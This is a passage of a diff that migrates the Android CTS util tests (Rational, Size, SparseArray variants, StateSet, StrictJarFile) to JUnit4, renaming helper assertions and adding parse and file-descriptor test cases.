-        assertValueEquals(ZERO, 0.0);
-        assertValueEquals(ZERO, 0L);
-        assertValueEquals(ZERO, 0);
-        assertValueEquals(ZERO, (short)0);
+        verifyValueEquals(ZERO, 0.0f);
+        verifyValueEquals(ZERO, 0.0);
+        verifyValueEquals(ZERO, 0L);
+        verifyValueEquals(ZERO, 0);
+        verifyValueEquals(ZERO, (short)0);
 
         // NaN is 0 for integers, not-a-number for floating point
-        assertValueEquals(NaN, Float.NaN);
-        assertValueEquals(NaN, Double.NaN);
-        assertValueEquals(NaN, 0L);
-        assertValueEquals(NaN, 0);
-        assertValueEquals(NaN, (short)0);
+        verifyValueEquals(NaN, Float.NaN);
+        verifyValueEquals(NaN, Double.NaN);
+        verifyValueEquals(NaN, 0L);
+        verifyValueEquals(NaN, 0);
+        verifyValueEquals(NaN, (short)0);
 
         // Positive infinity, saturates upwards for integers
-        assertValueEquals(POSITIVE_INFINITY, Float.POSITIVE_INFINITY);
-        assertValueEquals(POSITIVE_INFINITY, Double.POSITIVE_INFINITY);
-        assertValueEquals(POSITIVE_INFINITY, Long.MAX_VALUE);
-        assertValueEquals(POSITIVE_INFINITY, Integer.MAX_VALUE);
-        assertValueEquals(POSITIVE_INFINITY, (short)-1);
+        verifyValueEquals(POSITIVE_INFINITY, Float.POSITIVE_INFINITY);
+        verifyValueEquals(POSITIVE_INFINITY, Double.POSITIVE_INFINITY);
+        verifyValueEquals(POSITIVE_INFINITY, Long.MAX_VALUE);
+        verifyValueEquals(POSITIVE_INFINITY, Integer.MAX_VALUE);
+        verifyValueEquals(POSITIVE_INFINITY, (short)-1);
 
         // Negative infinity, saturates downwards for integers
-        assertValueEquals(NEGATIVE_INFINITY, Float.NEGATIVE_INFINITY);
-        assertValueEquals(NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY);
-        assertValueEquals(NEGATIVE_INFINITY, Long.MIN_VALUE);
-        assertValueEquals(NEGATIVE_INFINITY, Integer.MIN_VALUE);
-        assertValueEquals(NEGATIVE_INFINITY, (short)0);
+        verifyValueEquals(NEGATIVE_INFINITY, Float.NEGATIVE_INFINITY);
+        verifyValueEquals(NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY);
+        verifyValueEquals(NEGATIVE_INFINITY, Long.MIN_VALUE);
+        verifyValueEquals(NEGATIVE_INFINITY, Integer.MIN_VALUE);
+        verifyValueEquals(NEGATIVE_INFINITY, (short)0);
 
         // Normal finite values, round down for integers
         final Rational oneQuarter = new Rational(1, 4);
-        assertValueEquals(oneQuarter, 1.0f / 4.0f);
-        assertValueEquals(oneQuarter, 1.0 / 4.0);
-        assertValueEquals(oneQuarter, 0L);
-        assertValueEquals(oneQuarter, 0);
-        assertValueEquals(oneQuarter, (short)0);
+        verifyValueEquals(oneQuarter, 1.0f / 4.0f);
+        verifyValueEquals(oneQuarter, 1.0 / 4.0);
+        verifyValueEquals(oneQuarter, 0L);
+        verifyValueEquals(oneQuarter, 0);
+        verifyValueEquals(oneQuarter, (short)0);
 
         final Rational nineFifths = new Rational(9, 5);
-        assertValueEquals(nineFifths, 9.0f / 5.0f);
-        assertValueEquals(nineFifths, 9.0 / 5.0);
-        assertValueEquals(nineFifths, 1L);
-        assertValueEquals(nineFifths, 1);
-        assertValueEquals(nineFifths, (short)1);
+        verifyValueEquals(nineFifths, 9.0f / 5.0f);
+        verifyValueEquals(nineFifths, 9.0 / 5.0);
+        verifyValueEquals(nineFifths, 1L);
+        verifyValueEquals(nineFifths, 1);
+        verifyValueEquals(nineFifths, (short)1);
 
         final Rational negativeHundred = new Rational(-1000, 10);
-        assertValueEquals(negativeHundred, -100.f / 1.f);
-        assertValueEquals(negativeHundred, -100.0 / 1.0);
-        assertValueEquals(negativeHundred, -100L);
-        assertValueEquals(negativeHundred, -100);
-        assertValueEquals(negativeHundred, (short)-100);
+        verifyValueEquals(negativeHundred, -100.f / 1.f);
+        verifyValueEquals(negativeHundred, -100.0 / 1.0);
+        verifyValueEquals(negativeHundred, -100L);
+        verifyValueEquals(negativeHundred, -100);
+        verifyValueEquals(negativeHundred, (short)-100);
 
         // Short truncates if the result is too large
-        assertValueEquals(new Rational(Integer.MAX_VALUE, 1), (short)Integer.MAX_VALUE);
-        assertValueEquals(new Rational(0x00FFFFFF, 1), (short)0x00FFFFFF);
-        assertValueEquals(new Rational(0x00FF00FF, 1), (short)0x00FF00FF);
+        verifyValueEquals(new Rational(Integer.MAX_VALUE, 1), (short)Integer.MAX_VALUE);
+        verifyValueEquals(new Rational(0x00FFFFFF, 1), (short)0x00FFFFFF);
+        verifyValueEquals(new Rational(0x00FF00FF, 1), (short)0x00FF00FF);
     }
 
-    @SmallTest
+    @Test
     public void testSerialize() throws ClassNotFoundException, IOException {
         /*
          * Check correct [de]serialization
          */
-        assertEqualsAfterSerializing(ZERO);
-        assertEqualsAfterSerializing(NaN);
-        assertEqualsAfterSerializing(NEGATIVE_INFINITY);
-        assertEqualsAfterSerializing(POSITIVE_INFINITY);
-        assertEqualsAfterSerializing(UNIT);
-        assertEqualsAfterSerializing(new Rational(100, 200));
-        assertEqualsAfterSerializing(new Rational(-100, 200));
-        assertEqualsAfterSerializing(new Rational(5, 1));
-        assertEqualsAfterSerializing(new Rational(Integer.MAX_VALUE, Integer.MIN_VALUE));
+        verifyEqualsAfterSerializing(ZERO);
+        verifyEqualsAfterSerializing(NaN);
+        verifyEqualsAfterSerializing(NEGATIVE_INFINITY);
+        verifyEqualsAfterSerializing(POSITIVE_INFINITY);
+        verifyEqualsAfterSerializing(UNIT);
+        verifyEqualsAfterSerializing(new Rational(100, 200));
+        verifyEqualsAfterSerializing(new Rational(-100, 200));
+        verifyEqualsAfterSerializing(new Rational(5, 1));
+        verifyEqualsAfterSerializing(new Rational(Integer.MAX_VALUE, Integer.MIN_VALUE));
 
         /*
          * Check bad deserialization fails
@@ -369,69 +383,95 @@
         }
     }
 
-    private static void assertValueEquals(Rational object, float expected) {
+    @Test
+    public void testParseRational() {
+        assertEquals(new Rational(1, 2), Rational.parseRational("3:+6"));
+        assertEquals(new Rational(1, 2), Rational.parseRational("-3:-6"));
+        assertEquals(Rational.NaN, Rational.parseRational("NaN"));
+        assertEquals(Rational.POSITIVE_INFINITY, Rational.parseRational("Infinity"));
+        assertEquals(Rational.NEGATIVE_INFINITY, Rational.parseRational("-Infinity"));
+        assertEquals(Rational.ZERO, Rational.parseRational("0/261"));
+        assertEquals(Rational.NaN, Rational.parseRational("0/-0"));
+        assertEquals(Rational.POSITIVE_INFINITY, Rational.parseRational("1000/+0"));
+        assertEquals(Rational.NEGATIVE_INFINITY, Rational.parseRational("-1000/-0"));
+
+        Rational r = new Rational(10, 15);
+        assertEquals(r, Rational.parseRational(r.toString()));
+    }
+
+    @Test(expected=NumberFormatException.class)
+    public void testParseRationalInvalid1() {
+        Rational.parseRational("1.5");
+    }
+
+    @Test(expected=NumberFormatException.class)
+    public void testParseRationalInvalid2() {
+        Rational.parseRational("239");
+    }
+
+    private static void verifyValueEquals(Rational object, float expected) {
         assertEquals("Checking floatValue() for " + object + ";",
-                expected, object.floatValue());
+                expected, object.floatValue(), 0.0f);
     }
 
-    private static void assertValueEquals(Rational object, double expected) {
+    private static void verifyValueEquals(Rational object, double expected) {
         assertEquals("Checking doubleValue() for " + object + ";",
-                expected, object.doubleValue());
+                expected, object.doubleValue(), 0.0f);
     }
 
-    private static void assertValueEquals(Rational object, long expected) {
+    private static void verifyValueEquals(Rational object, long expected) {
         assertEquals("Checking longValue() for " + object + ";",
                 expected, object.longValue());
     }
 
-    private static void assertValueEquals(Rational object, int expected) {
+    private static void verifyValueEquals(Rational object, int expected) {
         assertEquals("Checking intValue() for " + object + ";",
                 expected, object.intValue());
     }
 
-    private static void assertValueEquals(Rational object, short expected) {
+    private static void verifyValueEquals(Rational object, short expected) {
         assertEquals("Checking shortValue() for " + object + ";",
                 expected, object.shortValue());
     }
 
-    private static void assertFinite(Rational object, boolean expected) {
-        assertAction("finite", object, expected, object.isFinite());
+    private static void verifyFinite(Rational object, boolean expected) {
+        verifyAction("finite", object, expected, object.isFinite());
     }
 
-    private static void assertInfinite(Rational object, boolean expected) {
-        assertAction("infinite", object, expected, object.isInfinite());
+    private static void verifyInfinite(Rational object, boolean expected) {
+        verifyAction("infinite", object, expected, object.isInfinite());
     }
 
-    private static void assertNaN(Rational object, boolean expected) {
-        assertAction("NaN", object, expected, object.isNaN());
+    private static void verifyNaN(Rational object, boolean expected) {
+        verifyAction("NaN", object, expected, object.isNaN());
     }
 
-    private static void assertZero(Rational object, boolean expected) {
-        assertAction("zero", object, expected, object.isZero());
+    private static void verifyZero(Rational object, boolean expected) {
+        verifyAction("zero", object, expected, object.isZero());
     }
 
-    private static <T> void assertAction(String action, T object, boolean expected,
+    private static <T> void verifyAction(String action, T object, boolean expected,
             boolean actual) {
         String expectedMessage = expected ? action : ("not " + action);
         assertEquals("Expected " + object + " to be " + expectedMessage,
                 expected, actual);
     }
 
-    private static <T extends Comparable<? super T>> void assertLessThan(T left, T right) {
+    private static <T extends Comparable<? super T>> void verifyLessThan(T left, T right) {
         assertTrue("Expected (LR) left " + left + " to be less than right " + right,
                 left.compareTo(right) < 0);
         assertTrue("Expected (RL) left " + left + " to be less than right " + right,
                 right.compareTo(left) > 0);
     }
 
-    private static <T extends Comparable<? super T>> void assertGreaterThan(T left, T right) {
+    private static <T extends Comparable<? super T>> void verifyGreaterThan(T left, T right) {
         assertTrue("Expected (LR) left " + left + " to be greater than right " + right,
                 left.compareTo(right) > 0);
         assertTrue("Expected (RL) left " + left + " to be greater than right " + right,
                 right.compareTo(left) < 0);
     }
 
-    private static <T extends Comparable<? super T>> void assertCompareEquals(T left, T right) {
+    private static <T extends Comparable<? super T>> void verifyCompareEquals(T left, T right) {
         assertTrue("Expected (LR) left " + left + " to be compareEquals to right " + right,
                 left.compareTo(right) == 0);
         assertTrue("Expected (RL) left " + left + " to be compareEquals to right " + right,
@@ -463,7 +503,7 @@
         return serialized;
     }
 
-    private static <T extends Serializable> void assertEqualsAfterSerializing(T obj)
+    private static <T extends Serializable> void verifyEqualsAfterSerializing(T obj)
             throws ClassNotFoundException, IOException {
         T serialized = serializeRoundTrip(obj);
         assertEquals("Expected values to be equal after serialization round-trip", obj, serialized);
diff --git a/tests/tests/util/src/android/util/cts/SizeTest.java b/tests/tests/util/src/android/util/cts/SizeTest.java
new file mode 100644
index 0000000..f274945
--- /dev/null
+++ b/tests/tests/util/src/android/util/cts/SizeTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Size;
+import android.util.SizeF;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SizeTest {
+    @Test
+    public void testConstructors() {
+        Size size = new Size(100, 200);
+        assertEquals(100, size.getWidth());
+        assertEquals(200, size.getHeight());
+
+        SizeF sizeF = new SizeF(100, 200);
+        assertEquals(100, sizeF.getWidth(), 0f);
+        assertEquals(200, sizeF.getHeight(), 0f);
+    }
+
+    @Test(expected=NumberFormatException.class)
+    public void testParseSizeInvalid() {
+        Size.parseSize("2by4");
+    }
+
+    @Test
+    public void testParseSize() {
+        assertEquals(new Size(100, 200), Size.parseSize("100*200"));
+        assertEquals(new Size(10, 20), Size.parseSize("10x20"));
+        assertEquals(new SizeF(9999, 9999), SizeF.parseSizeF("9999x9999"));
+    }
+
+    @Test(expected=NumberFormatException.class)
+    public void testParseSizeFInvalid() {
+        SizeF.parseSizeF("2by4");
+    }
+
+    @Test
+    public void testParseSizeF() {
+        assertEquals(new SizeF(100f, 200f), SizeF.parseSizeF("100*200"));
+        assertEquals(new SizeF(10f, 20f), SizeF.parseSizeF("10x20"));
+        assertEquals(new SizeF(1000000f, 2.4f), SizeF.parseSizeF("1e6x2.4"));
+    }
+}
diff --git a/tests/tests/util/src/android/util/cts/SparseArrayTest.java b/tests/tests/util/src/android/util/cts/SparseArrayTest.java
index 6dbb571..b80a3cb 100644
--- a/tests/tests/util/src/android/util/cts/SparseArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseArrayTest.java
@@ -16,18 +16,30 @@
 
 package android.util.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.SparseArray;
 
-public class SparseArrayTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SparseArrayTest {
     private static final int[] KEYS = {12, 23, 4, 6, 8, 1, 3, -12, 0, -3, 11, 14, -23};
     private static final Integer[] VALUES = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12};
     private static final int LENGTH = VALUES.length;
     private static final int NON_EXISTED_KEY = 123;
     private static final Integer VALUE_FOR_NON_EXISTED_KEY = -1;
 
+    @Test
     public void testSparseArrayWithDefaultCapacity() {
-        SparseArray<Integer> sparseArray = new SparseArray<Integer>();
+        SparseArray<Integer> sparseArray = new SparseArray<>();
         assertEquals(0, sparseArray.size());
 
         int length = VALUES.length;
@@ -91,8 +103,9 @@
         assertEquals(0, sparseArray.size());
     }
 
+    @Test
     public void testSparseArrayWithSpecifiedCapacity() {
-        SparseArray<Integer> sparseArray = new SparseArray<Integer>(5);
+        SparseArray<Integer> sparseArray = new SparseArray<>(5);
         assertEquals(0, sparseArray.size());
 
         int length = VALUES.length;
@@ -156,8 +169,9 @@
         assertEquals(0, sparseArray.size());
     }
 
+    @Test
     public void testIterationOrder() {
-        SparseArray<Long> sparseArray = new SparseArray<Long>();
+        SparseArray<Long> sparseArray = new SparseArray<>();
         // No matter in which order they are inserted.
         sparseArray.put(1, Long.valueOf(2L));
         sparseArray.put(10, Long.valueOf(20L));
diff --git a/tests/tests/util/src/android/util/cts/SparseBooleanArrayTest.java b/tests/tests/util/src/android/util/cts/SparseBooleanArrayTest.java
index 0ac8ea4..6a533f5 100644
--- a/tests/tests/util/src/android/util/cts/SparseBooleanArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseBooleanArrayTest.java
@@ -16,21 +16,26 @@
 
 package android.util.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.SparseBooleanArray;
 
-public class SparseBooleanArrayTest extends AndroidTestCase {
-    private static final int[] KEYS   = {12, 23, 4, 6, 8, 1, 3, -12, 0, -3, 11, 14, -23};
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SparseBooleanArrayTest {
+    private static final int[] KEYS = {12, 23, 4, 6, 8, 1, 3, -12, 0, -3, 11, 14, -23};
     private static final boolean[] VALUES =
-        {true,  false, true, false, false, true, true, true, true, false, false, false, false};
+        {true, false, true, false, false, true, true, true, true, false, false, false, false};
     private static final int NON_EXISTED_KEY = 123;
     private static final boolean VALUE_FOR_NON_EXISTED_KEY = true;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
+    @Test
     public void testSparseBooleanArrayWithDefaultCapacity() {
         SparseBooleanArray sparseBooleanArray = new SparseBooleanArray();
         assertEquals(0, sparseBooleanArray.size());
@@ -87,6 +92,7 @@
         assertEquals(0, sparseBooleanArray.size());
     }
 
+    @Test
     public void testSparseBooleanArrayWithSpecifiedCapacity() {
         SparseBooleanArray sparseBooleanArray = new SparseBooleanArray(5);
         assertEquals(0, sparseBooleanArray.size());
@@ -143,6 +149,7 @@
         assertEquals(0, sparseBooleanArray.size());
     }
 
+    @Test
     public void testIterationOrder() {
         SparseBooleanArray sparseArray = new SparseBooleanArray();
         // No matter in which order they are inserted.
diff --git a/tests/tests/util/src/android/util/cts/SparseIntArrayTest.java b/tests/tests/util/src/android/util/cts/SparseIntArrayTest.java
index d0e4447..9c554fa 100644
--- a/tests/tests/util/src/android/util/cts/SparseIntArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseIntArrayTest.java
@@ -16,23 +16,25 @@
 
 package android.util.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.SparseIntArray;
 
-import java.util.Arrays;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-
-public class SparseIntArrayTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SparseIntArrayTest {
     private static final int[] KEYS   = {12, 23, 4, 6, 8, 1, 3, -12, 0, -3, 11, 14, -23};
     private static final int[] VALUES = {0,  1,  2, 3, 4, 5, 6, 7,   8,  9, 10, 11,  12};
     private static final int   NON_EXISTED_KEY = 123;
     private static final int   VALUE_FOR_NON_EXISTED_KEY = -1;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
+    @Test
     public void testSparseIntArrayWithDefaultCapacity() {
         SparseIntArray sparseIntArray = new SparseIntArray();
         assertEquals(0, sparseIntArray.size());
@@ -82,6 +84,7 @@
         assertEquals(0, sparseIntArray.size());
     }
 
+    @Test
     public void testSparseIntArrayWithSpecifiedCapacity() {
         SparseIntArray sparseIntArray = new SparseIntArray(5);
         assertEquals(0, sparseIntArray.size());
@@ -130,6 +133,7 @@
         assertEquals(0, sparseIntArray.size());
     }
 
+    @Test
     public void testSparseIntArrayRemoveAt() {
         final int[] testData = {
             13, 42, 85932, 885932, -6, Integer.MAX_VALUE, 0, Integer.MIN_VALUE };
@@ -171,6 +175,7 @@
         }
     }
 
+    @Test
     public void testIterationOrder() {
         SparseIntArray sparseArray = new SparseIntArray();
         // No matter in which order they are inserted.
diff --git a/tests/tests/util/src/android/util/cts/SparseLongArrayTest.java b/tests/tests/util/src/android/util/cts/SparseLongArrayTest.java
index c40691c..501c788 100644
--- a/tests/tests/util/src/android/util/cts/SparseLongArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseLongArrayTest.java
@@ -16,20 +16,29 @@
 
 package android.util.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.SparseLongArray;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Tests for {@link SparseLongArray}.
  */
-public class SparseLongArrayTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SparseLongArrayTest {
     private static final int[] KEYS = {12, 23, 4, 6, 8, 1, 3, -12, 0, -3, 11, 14, -23};
     private static final long[] VALUES = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12};
     private static final int LENGTH = VALUES.length;
     private static final int NON_EXISTED_KEY = 123;
     private static final long VALUE_FOR_NON_EXISTED_KEY = -1;
 
+    @Test
     public void testSparseArrayWithDefaultCapacity() {
         SparseLongArray sparseArray = new SparseLongArray();
         assertEquals(0, sparseArray.size());
@@ -91,6 +100,7 @@
         assertEquals(0, sparseArray.size());
     }
 
+    @Test
     public void testSparseArrayWithSpecifiedCapacity() {
         SparseLongArray sparseArray = new SparseLongArray(5);
         assertEquals(0, sparseArray.size());
@@ -152,6 +162,7 @@
         assertEquals(0, sparseArray.size());
     }
 
+    @Test
     public void testIterationOrder() {
         SparseLongArray sparseArray = new SparseLongArray();
         // No matter in which order they are inserted.
diff --git a/tests/tests/util/src/android/util/cts/StateSetTest.java b/tests/tests/util/src/android/util/cts/StateSetTest.java
index cf71b7d..c3420eb 100644
--- a/tests/tests/util/src/android/util/cts/StateSetTest.java
+++ b/tests/tests/util/src/android/util/cts/StateSetTest.java
@@ -16,20 +16,24 @@
 
 package android.util.cts;
 
-import android.R;
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.StateSet;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test StateSet
  */
-public class StateSetTest extends AndroidTestCase {
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class StateSetTest {
+    @Test
     public void testTrimStateSet() {
         // state set's old size is equal to new size
         int[] stateSet = {1, 2, 3};
@@ -42,17 +46,19 @@
         }
     }
 
+    @Test
     public void testDump() {
-        int[] stateSet = {R.attr.state_window_focused,
-                          R.attr.state_pressed,
-                          R.attr.state_selected,
-                          R.attr.state_focused,
-                          R.attr.state_enabled,
+        int[] stateSet = {android.R.attr.state_window_focused,
+                          android.R.attr.state_pressed,
+                          android.R.attr.state_selected,
+                          android.R.attr.state_focused,
+                          android.R.attr.state_enabled,
                           1234325}; // irrelevant value
         String string = StateSet.dump(stateSet);
         assertEquals("W P S F E ", string);
     }
 
+    @Test
     public void testStateSetMatches() throws Exception {
          int[] stateSpec1 = new int[2];
          int[] stateSet1 = new int[3];
@@ -188,5 +194,4 @@
         stateSpec10 = StateSet.WILD_CARD;
         assertTrue(StateSet.stateSetMatches(stateSpec10, state3));
     }
-
 }
diff --git a/tests/tests/util/src/android/util/cts/StrictJarFileTest.java b/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
index e7eedfd..3c18df7 100644
--- a/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
+++ b/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
@@ -16,60 +16,107 @@
 
 package android.util.cts;
 
-import android.test.AndroidTestCase;
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.system.OsConstants;
+import android.util.jar.StrictJarFile;
+
+import libcore.io.IoBridge;
+import libcore.io.Streams;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.io.File;
-import java.io.InputStream;
+import java.io.FileDescriptor;
 import java.io.FileOutputStream;
-import java.io.OutputStream;
 import java.io.IOException;
+import java.io.InputStream;
 import java.nio.charset.Charset;
 import java.util.HashMap;
 import java.util.Iterator;
-import android.util.jar.StrictJarFile;
 import java.util.zip.ZipEntry;
-import libcore.io.Streams;
 
-public class StrictJarFileTest extends AndroidTestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class StrictJarFileTest {
     // A well formed jar file with 6 entries.
     private static final String JAR_1 = "hyts_patch.jar";
 
-    private File resources;
+    private File mResourcesFile;
 
-    @Override
-    protected void setUp() {
+    @Before
+    public void setup() {
         try {
-            resources = File.createTempFile("sjf_resources", "", null);
-            resources.delete();
-            resources.mkdirs();
+            mResourcesFile = File.createTempFile("sjf_resources", "", null);
+            mResourcesFile.delete();
+            mResourcesFile.mkdirs();
         } catch (IOException e) {
             throw new RuntimeException("Unable to create temp folder", e);
         }
-        resources.deleteOnExit();
+        mResourcesFile.deleteOnExit();
     }
 
-    public void testConstructor() throws Exception {
-        try {
-            StrictJarFile jarFile = new StrictJarFile("Wrong.file");
-            fail("Should throw IOException");
-        } catch (IOException e) {
-            // expected
-        }
+    @Test(expected=IOException.class)
+    public void testConstructorWrongFile() throws IOException {
+        new StrictJarFile("Wrong.file");
+    }
 
+    @Test(expected=IOException.class)
+    public void testConstructorWrongFile_FD() throws IOException {
+        new StrictJarFile(new FileDescriptor());
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWrongFile_FD_null() throws IOException {
+        new StrictJarFile((FileDescriptor) null);
+    }
+
+    @Test
+    public void testConstructor() throws Exception {
         copyFile(JAR_1);
-        String fileName = (new File(resources, JAR_1)).getCanonicalPath();
+        String fileName = (new File(mResourcesFile, JAR_1)).getCanonicalPath();
         StrictJarFile jarFile = new StrictJarFile(fileName);
         jarFile.close();
     }
 
+    @Test
+    public void testConstructor_FD() throws Exception {
+        copyFile(JAR_1);
+        FileDescriptor fd = IoBridge.open(
+                new File(mResourcesFile, JAR_1).getAbsolutePath(), OsConstants.O_RDONLY);
+        StrictJarFile jarFile = new StrictJarFile(fd);
+        jarFile.close();
+    }
+
+    @Test
     public void testIteration() throws Exception {
         copyFile(JAR_1);
-        StrictJarFile jarFile = new StrictJarFile(new File(resources, JAR_1).getAbsolutePath());
+        StrictJarFile jarFile =
+                new StrictJarFile(new File(mResourcesFile, JAR_1).getAbsolutePath());
+        checkIteration(jarFile);
+    }
 
+    @Test
+    public void testIteration_FD() throws Exception {
+        copyFile(JAR_1);
+        FileDescriptor fd = IoBridge.open(
+                new File(mResourcesFile, JAR_1).getAbsolutePath(), OsConstants.O_RDONLY);
+        StrictJarFile jarFile = new StrictJarFile(fd);
+        checkIteration(jarFile);
+    }
+
+    private static void checkIteration(StrictJarFile jarFile) throws Exception {
         Iterator<ZipEntry> it = jarFile.iterator();
-        HashMap<String, ZipEntry> entries = new HashMap<String, ZipEntry>();
+        HashMap<String, ZipEntry> entries = new HashMap<>();
         while (it.hasNext()) {
             final ZipEntry ze = it.next();
             entries.put(ze.getName(), ze);
@@ -101,10 +148,24 @@
         assertEquals(225, ze.getCompressedSize());
     }
 
+    @Test
     public void testFindEntry() throws Exception {
         copyFile(JAR_1);
-        StrictJarFile jarFile = new StrictJarFile(new File(resources, JAR_1).getAbsolutePath());
+        StrictJarFile jarFile =
+                new StrictJarFile(new File(mResourcesFile, JAR_1).getAbsolutePath());
+        checkFindEntry(jarFile);
+    }
 
+    @Test
+    public void testFindEntry_FD() throws Exception {
+        copyFile(JAR_1);
+        FileDescriptor fd = IoBridge.open(
+                new File(mResourcesFile, JAR_1).getAbsolutePath(), OsConstants.O_RDONLY);
+        StrictJarFile jarFile = new StrictJarFile(fd);
+        checkFindEntry(jarFile);
+    }
+
+    private static void checkFindEntry(StrictJarFile jarFile) throws Exception {
         assertNull(jarFile.findEntry("foobar"));
         assertNull(jarFile.findEntry("blah.txt"));
         assertNotNull(jarFile.findEntry("Blah.txt"));
@@ -116,17 +177,48 @@
                 Charset.forName("UTF-8")));
     }
 
+    @Test
     public void testGetManifest() throws Exception {
         copyFile(JAR_1);
-        StrictJarFile jarFile = new StrictJarFile(new File(resources, JAR_1).getAbsolutePath());
-
-        assertNotNull(jarFile.getManifest());
-        assertEquals("1.4.2 (IBM Corporation)", jarFile.getManifest().getMainAttributes().getValue("Created-By"));
+        StrictJarFile jarFile =
+                new StrictJarFile(new File(mResourcesFile, JAR_1).getAbsolutePath());
+        checkGetManifest(jarFile);
     }
 
+    @Test
+    public void testGetManifest_FD() throws Exception {
+        copyFile(JAR_1);
+        FileDescriptor fd = IoBridge.open(
+                new File(mResourcesFile, JAR_1).getAbsolutePath(), OsConstants.O_RDONLY);
+        StrictJarFile jarFile = new StrictJarFile(fd);
+        checkGetManifest(jarFile);
+    }
+
+    private static void checkGetManifest(StrictJarFile jarFile) throws Exception {
+        assertNotNull(jarFile.getManifest());
+        assertEquals("1.4.2 (IBM Corporation)",
+                jarFile.getManifest().getMainAttributes().getValue("Created-By"));
+    }
+
+    @Test
     public void testJarSigning_wellFormed() throws IOException {
         copyFile("Integrate.jar");
-        StrictJarFile jarFile = new StrictJarFile(new File(resources, "Integrate.jar").getAbsolutePath());
+        StrictJarFile jarFile =
+                new StrictJarFile(new File(mResourcesFile, "Integrate.jar").getAbsolutePath());
+        checkJarSigning_wellFormed(jarFile);
+    }
+
+    @Test
+    public void testJarSigning_wellFormed_FD() throws IOException {
+        copyFile("Integrate.jar");
+        FileDescriptor fd = IoBridge.open(
+                new File(mResourcesFile, "Integrate.jar").getAbsolutePath(),
+                        OsConstants.O_RDONLY);
+        StrictJarFile jarFile = new StrictJarFile(fd);
+        checkJarSigning_wellFormed(jarFile);
+    }
+
+    private static void checkJarSigning_wellFormed(StrictJarFile jarFile) throws IOException {
         Iterator<ZipEntry> entries = jarFile.iterator();
         while (entries.hasNext()) {
             ZipEntry zipEntry = entries.next();
@@ -138,11 +230,25 @@
         }
     }
 
-     public void testJarSigning_fudgedEntry() throws IOException {
+    @Test
+    public void testJarSigning_fudgedEntry() throws IOException {
         copyFile("Integrate.jar");
         StrictJarFile jarFile = new StrictJarFile(
-                new File(resources, "Integrate.jar").getAbsolutePath());
+                new File(mResourcesFile, "Integrate.jar").getAbsolutePath());
+        checkJarSigning_fudgedEntry(jarFile);
+    }
 
+    @Test
+    public void testJarSigning_fudgedEntry_FD() throws IOException {
+        copyFile("Integrate.jar");
+        FileDescriptor fd = IoBridge.open(
+                new File(mResourcesFile, "Integrate.jar").getAbsolutePath(),
+                        OsConstants.O_RDONLY);
+        StrictJarFile jarFile = new StrictJarFile(fd);
